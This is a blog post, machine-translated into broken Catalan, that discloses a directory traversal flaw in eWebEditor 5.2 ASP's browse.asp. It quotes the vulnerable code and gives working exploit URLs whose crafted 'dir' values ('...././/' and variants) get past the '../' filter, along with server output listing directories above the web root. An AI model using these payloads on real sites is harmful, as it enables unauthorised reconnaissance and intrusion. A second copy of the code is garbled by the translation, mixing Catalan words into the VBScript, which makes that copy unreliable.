ewebeditor 05/02 vulnerabilitats catàleg de la sèrie
: St0p
Pròpia estació amb l'editor abans de la seva pròpia agilitzar el ewebeditor de la versió 5.2 de ASP per treballar cansat, a descansar, un editor no creia que realment em vaig trobar amb una petita escletxa, encara que el paper de No obstant això, no s'utilitzarà per ajudar o molt bona.
Presentar una llacuna existent al ewebeditor / asp / browse.asp
A 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 | Dim s_List, s_Url s_List = "" Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName 'Response.Write sCurrDir 'On Error Resume Next Set oFSO = Server . CreateObject ( "Scripting.FileSystemObject" ) Set oUploadFolder = oFSO. GetFolder ( Server . MapPath ( sCurrDir ) ) '注意一下sCurrDir变量,这个值等下我们可以用到 If Err. Number > 0 Then s_List = "" Exit Function End If If sDir <> "" Then If InstrRev ( sDir, "/" ) > 1 Then s_Url = Left ( sDir, InstrRev ( sDir, "/" ) - 1 ) Else s_Url = "" End If s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" & s_Url & "'>" & _ "<td><img border=0 src='../sysimage/file/parentfolder.gif'></td>" & _ "<td>..</td>" & _ "<td> </td>" & _ "</tr>" End If 'Response.Write sDir&"!"&s_List Dim oSubFolder For Each oSubFolder In oUploadFolder. SubFolders 'Response.Write oUploadFolder.SubFolders If sDir = "" Then s_Url = oSubFolder. Name Else s_Url = sDir & "/" & oSubFolder. Name End If s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" & s_Url & "'>" & _ "<td><img border=0 src='../sysimage/file/closedfolder.gif'></td>" & _ "<td noWrap>" & oSubFolder. Name & "</td>" & _ "<td> </td>" & _ "</tr>" Next 'Response.Write s_List Set oUploadFiles = oUploadFolder. Files For Each oUploadFile In oUploadFiles 'Response.Write oUploadFile.Name sFileName = oUploadFile. Name If CheckValidExt ( sFileName ) = True Then '这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了 If sDir = "" Then s_Url = sContentPath & sFileName Else s_Url = sContentPath & sDir & "/" & sFileName End If s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' url='" & s_Url & "'>" & _ "<td>" & FileName2Pic ( sFileName ) & "</td>" & _ "<td noWrap>" & sFileName & "</td>" & _ "<td align=right>" & GetSizeUnit ( oUploadFile. size ) & "</td>" & _ "</tr>" End If Next Set oUploadFolder = Nothing Set oUploadFiles = Nothing 'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url If sDir = "" Then s_Url = "" 's_Url = "/" Else s_Url = "/" & sDir & "" 's_Url = "/" & sDir & "/" End If s_List = s_List & "</table>" s_List = HTML2JS ( s_List ) 'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url s_List = "parent.setDirList(" "" & s_List & "" ", " "" & s_Url & "" ")" GetList = s_List End Function '如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名 Function CheckValidExt ( s_FileName ) If sAllowExt = "" Then CheckValidExt = True Exit Function End If Dim i, aExt, sExt sExt = LCase ( Mid ( s_FileName, InStrRev ( s_FileName, "." ) + 1 ) ) CheckValidExt = False aExt = Split ( LCase ( sAllowExt ) , "|" ) For i = 0 To UBound ( aExt ) If aExt ( i ) = sExt Then CheckValidExt = True Exit Function End If Next End Function '我们顺着代码往下找,发现sCurrDir的值是通过下面的值得到的 Sub InitParam ( ) sType = UCase ( Trim ( Request . QueryString ( "type" ) ) ) sStyleName = Trim ( Request . QueryString ( "style" ) ) Dim i, aStyleConfig, bValidStyle bValidStyle = False For i = 1 To Ubound ( aStyle ) aStyleConfig = Split ( aStyle ( i ) , "|||" ) If Lcase ( sStyleName ) = Lcase ( aStyleConfig ( 0 ) ) Then bValidStyle = True Exit For End If Next If bValidStyle = False Then OutScript ( "alert('Invalid Style.')" ) End If sBaseUrl = aStyleConfig ( 19 ) 'nAllowBrowse = CLng(aStyleConfig(43)) nAllowBrowse = 1 If nAllowBrowse <> 1 Then OutScript ( "alert('Do not allow browse!')" ) End If sUploadDir = aStyleConfig ( 3 ) If Left ( sUploadDir, 1 ) <> "/" Then Select Case sType Case "REMOTE" sUploadDir = "../../" & sUploadDir & "Image/" Case "FILE" sUploadDir = "../../" & sUploadDir & "Other/" Case "MEDIA" sUploadDir = "../../" & sUploadDir & "Media/" Case "FLASH" sUploadDir = "../../" & sUploadDir & "Flash/" Case Else sUploadDir = "../../" & sUploadDir & "Image/" End Select End If 'sUploadDir =sUploadDir &"/" Select Case sBaseUrl Case "0" 'sContentPath = aStyleConfig(23) Select Case sType Case "REMOTE" sContentPath = "../" & aStyleConfig ( 3 ) & "Image/" Case "FILE" sContentPath = "../" & aStyleConfig ( 3 ) & "Other/" Case "MEDIA" sContentPath = "../" & aStyleConfig ( 3 ) & "Media/" Case "FLASH" sContentPath = "../" & aStyleConfig ( 3 ) & "Flash/" Case Else sContentPath = "../" & aStyleConfig ( 3 ) & "Image/" End Select Case "1" sContentPath = RelativePath2RootPath ( sUploadDir ) Case "2" sContentPath = RootPath2DomainPath ( RelativePath2RootPath ( sUploadDir ) ) End Select Select Case sType Case "REMOTE" sAllowExt = aStyleConfig ( 10 ) Case "FILE" sAllowExt = aStyleConfig ( 6 ) Case "MEDIA" sAllowExt = aStyleConfig ( 9 ) Case "FLASH" sAllowExt = aStyleConfig ( 7 ) Case Else sAllowExt = aStyleConfig ( 8 ) End Select sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址 sDir = Trim ( Request ( "dir" ) ) '得到dir变量 sDir = Replace ( sDir, "\" , "/" ) '对dir变量进行过滤 sDir = Replace ( sDir, "../" , "" ) sDir = Replace ( sDir, "./" , "" ) If sDir <> "" Then If CheckValidDir ( Server . Mappath ( sUploadDir & sDir ) ) = True Then sCurrDir = sUploadDir & sDir & "/" '重点就在这里了,看到没有,当sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了'虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用st0p会在下面的利用中给出 Else sDir = "" End If End If End Sub GetList function () Dim s_List, s_Url s_List = "" Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, 'Response.Write sCurrDir' sFileName On Error Resume Next setembre oFSO Server =. CreateObject ("Scripting.FileSystemObject") setembre = oUploadFolder oFSO. GetFolder (Server. MapPath (sCurrDir)) 'variable nota sCurrDir, aquest valor es pot utilitzar el Si l'error Número> 0 Then s_List = "" Exit Function End If If SDIR <> "" Llavors, si InstrRev (SDIR "/")> 1 Llavors s_Url = Esquerra (SDIR, InStrRev (SDIR, "/") - 1) Else s_Url = "" End If s_List s_List = & "<tr onclick = 'doRowClick (aquest)" onMouseOver =' doRowOver (this) "onmouseout = 'doRowOut (aquest)' isdir = 'true' path = '" & s_Url & "'>" & _ "<td> <img border = 0 src =" .. / sysimage / arxiu / ParentFolder gif "> </ td>" & _ "<td> .. </ td>" & _ "<td> </ td>" & _ "</ tr>" End If 'Response.Write el SDIR i "!" i oSubFolder s_List Dim For Each oSubFolder En oUploadFolder. oUploadFolder.SubFolders subcarpetes 'Response.Write Si SDIR = "" Then s_Url = oSubFolder. Nom vendes s_Url = SDIR & "/" End i oSubFolder. Nom Si s_List s_List = & " onclick = 'doRowClick (this)' <tr onmouseout='doRowOut(this)' onmouseover='doRowOver(this)' isdir='true' path='" i s_Url i "'> "& _" <td> <img border = 0 src = ".. / sysimage / arxiu / closedfolder.gif '> </ td>" & _ "<td nowrap>" i oSubFolder. Nom & "</ td>" & _ "<td> </ td> "& _" </ tr> "Següent" Response.Write setembre s_List oUploadFiles = oUploadFolder. fitxers per a cada oUploadFile En oUploadFiles 'sFileName Response.Write oUploadFile.Name = oUploadFile. Nom Si CheckValidExt (sFileName) = True Then "Aquesta línia estava una mica deprimit, per detectar totes les sufix d'arxiu permès, com no, no serà capaç d'enumerar o anunciï no només el nom del directori i d'arxiu d'imatge de la Si SDIR =" "Then s_Url = sContentPath i sFileName vendes s_Url = sContentPath a & SDIR & "/" & Final sFileName Si s_List s_List = & "onMouseOver = 'doRowOver (this)' <tr onclick='doRowClick(this)' onmouseout='doRowOut(this)' url='" i s_Url i "'> "& _" <td> "i FileName2Pic (sFileName) &" </ td> "& _" <td nowrap> "i sFileName &" </ td> "& _" <td align=right> "i GetSizeUnit ( oUploadFile. mida) & "</ td>" & _ "</ tr>" End If oUploadFolder següent grup = oUploadFiles setembre = Nothing Response.Write Server.HTMLEncode Nada '(s_List) & "!" i s_Url Si SDIR = "" Després s_Url = "" 's_Url = "/" Else s_Url = "/" & SDIR & ""' s_Url = "/" & SDIR & "/" End If s_List s_List = & "</ table>" s_List HTML2JS = ( s_List) 'Response.Write Server.HTMLEncode (s_List) & "!" i s_Url s_List = "parent.setDirList (" "" & s_List & "" "" "" & s_Url & "" ")" = GetList s_List End Function "Si no pas de detecció, ha de ser capaç d'enumerar tots els fitxers al directori, i una mica deprimida .. ara només mostra els arxius i directoris per permetre sufix de nom de la funció CheckValidExt (s_FileName) Si el sAllowExt =" "Then CheckValidExt = Sortir True End Function Si Dim i, AexT, sisena 6 = LCase (Mid (s_FileName, InStrRev (s_FileName,) + 1) ".") = False CheckValidExt AexT = split (LCase (sAllowExt), "|") For i = 0 To UBound (AexT) Si AexT (i) = sext Després CheckValidExt = True End Function Exit If End Function Next 'pel codi per trobar el valor trobat sCurrDir de la següent val la pena el Sub initParam () = sType Ucase (Trim (Request. cadena de consulta ("tipus"))) sStyleName = Trim (Request. cadena de consulta ("estil")) Dim i, aStyleConfig, bValidStyle bValidStyle = False For i = 1 To UBound (Astyle) Split aStyleConfig = (Astyle (i), "| | |") Si LCase (sStyleName) = LCase (aStyleConfig (0)) Després bValidStyle = Sortir Per Veritable End If Next Si bValidStyle = False Then OutScript ("alert ('estil no vàlid.')") End If sBaseUrl = aStyleConfig (19) 'nAllowBrowse = CLng (aStyleConfig (43)) = 1 Si nAllowBrowse nAllowBrowse <> 1 Then OutScript ("alert (' No permeti a veure! ')") End If sUploadDir aStyleConfig = (3) Si l'esquerra (sUploadDir, 1) <> "/" i després seleccioneu sType Case "REMOT" sUploadDir = ".. / .. /" i sUploadDir i "Imatge /" Case "FILE" sUploadDir = ".. / .. / "& sUploadDir i" Altres / "Case" MITJANA "sUploadDir =" .. / .. / "i sUploadDir i" Mitjans de Comunicació / "Case" FLASH "sUploadDir =" .. / .. / "i sUploadDir i" Flash / " Case Else sUploadDir = ".. / .. /" i sUploadDir i "Imatge /" End Select If 'sUploadDir sUploadDir = & "/" Select Case sBaseUrl cas "0"' = sContentPath aStyleConfig (23) Select Case sType cas " A DISTÀNCIA "sContentPath =" .. / "i aStyleConfig (3) i" Imatge / "Case" FILE "sContentPath =" .. / "i aStyleConfig (3) i" Altres / "Case" MITJANA "sContentPath =" / .. "& aStyleConfig (3) i" Mitjans de Comunicació / "Case" "sContentPath =" FLASH .. / "i aStyleConfig (3) i" Flash / "sContentPath Case Else =" .. / "aStyleConfig i (3) i" d'imatge / "End Select Case" 1 "= sContentPath RelativePath2RootPath (sUploadDir) Cas" 2 "= sContentPath RootPath2DomainPath (RelativePath2RootPath (sUploadDir)) End Select sType Select Case" REMOT "sAllowExt = aStyleConfig (10) Cas" FILE "sAllowExt = aStyleConfig (6 ) Cas "MITJANA" sAllowExt = aStyleConfig (9) Cas "FLASH" sAllowExt aStyleConfig = (7) Case Else sAllowExt = aStyleConfig (8) End Select sCurrDir = Nota sUploadDir ', aquest és el camí a la configuració d'adreces SDIR = Trim ( Request ("dir")) 'obtenir la variable dir SDIR = Replace (SDIR, "\", "/")' variable dir el SDIR filter = Replace (SDIR ".. /", "") SDIR = Replace ( el SDIR, ". /", "") Si SDIR <> "" Llavors, si CheckValidDir (Server. MapPath (sUploadDir i SDIR)) = True Then sCurrDir = sUploadDir i SDIR & "/" 'se centren en aquí, consulteu No, quan al sUploadDir i SDIR, sCurrDir sobre el valor de sUploadDir i SDIR "Encara que a la cara de SDIR filtrada, però pot passar. st0p ús específic del SDIR això es donarà en el següent ús de = "End If End If End Sub |
Escolta, veu això, vostè ha d'entendre que, de fet, el filtrat és dir, podem construir un valor especial per ometre la comprovació, perquè pugui obtenir l'estructura de directoris i visualitzar l'arxiu amb l'extensió dels arxius permesos en el fitxer de configuració ..
L'ús de mètodes són els següents
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=..../.// ..
El la prova st0p el directori de càrrega és el directori arrel de la uploadfile l'adreça abans esmentada es pot obtenir tots els directoris al directori arrel.
Escolta, si vostè troba una pantalla oberta està en blanc, no es desanimi, a veure el codi font, vegi vostè, que tindrà el directori arrel del nom del directori.
El directori arrel hi ha un directori dels hostes, podem enumerar la següent adreça la següent estructura
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=...././/...././/guest
Llavors també podem
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=...././/../..../.// ..
Anar a les capes més altes, el meu amfitrió de prova virtual, obtenir el directori de tres de www, arxiu de registre, datebase.
A
| <HTML> <HEAD> <meta Http-equiv='Content-Type' content='text/html; charset=utf-8'> <TITLE> eWebEditor </ title> </ head> <script language = javascript> parent.setDirList ("onclick = 'doRowClick (this)' <tr onmouseout='doRowOut(this)' onmouseover='doRowOver(this)' isdir='true' path='../..'> <td > <img border=0 src='../sysimage/file/parentfolder.gif'> </ td> .. </ td> </ td> </ tr> <tr onclick = 'doRowClick (aquest) "onMouseOver =' doRowOver (this)" onmouseout = 'doRowOut (aquest)' isdir = 'true' path = ".. / .. / .. / fitxers de registre"> <td> <img = frontera 0 src = ".. / sysimage / arxiu / closedfolder.gif '> </ td> <td nowrap> arxius de registre </ td> </ td> </ tr> <tr onclick =' doRowClick (això ) "onMouseOver = 'doRowOver (this)" onmouseout =' doRowOut (aquest) 'isdir =' true 'path = ".. / .. / .. / www"> <td> <img border = 0 src ='. . / sysimage / arxiu / closedfolder.gif '> </ td> <td nowrap> www </ td> </ td> </ tr> </ table> "," / .. / .. / .. ") </ script> </ body> </ html> |
Aquesta vulnerabilitat només es pot considerar que l'ús auxiliar de detecció d'intrusos, pot obtenir l'estructura de directoris, per exemple, el directori de gestió del canvi, el directori de base de dades, perquè pugui obtenir el nom del directori, però no puc llistar els fitxers que st0p deprimit. Jo ....
Aquest és el segon document original expedit pel st0p al blog, després de múltiples, Geòrgia, és ara considerada bloc també va obrir ..
Nota: El salt en el directori de llocs web que s'utilitza en tot el que vaig trobar la recepció serà reemplaçat










































200 Trackback (s)
Vostè ha d'estar loguejat per publicar un comentari.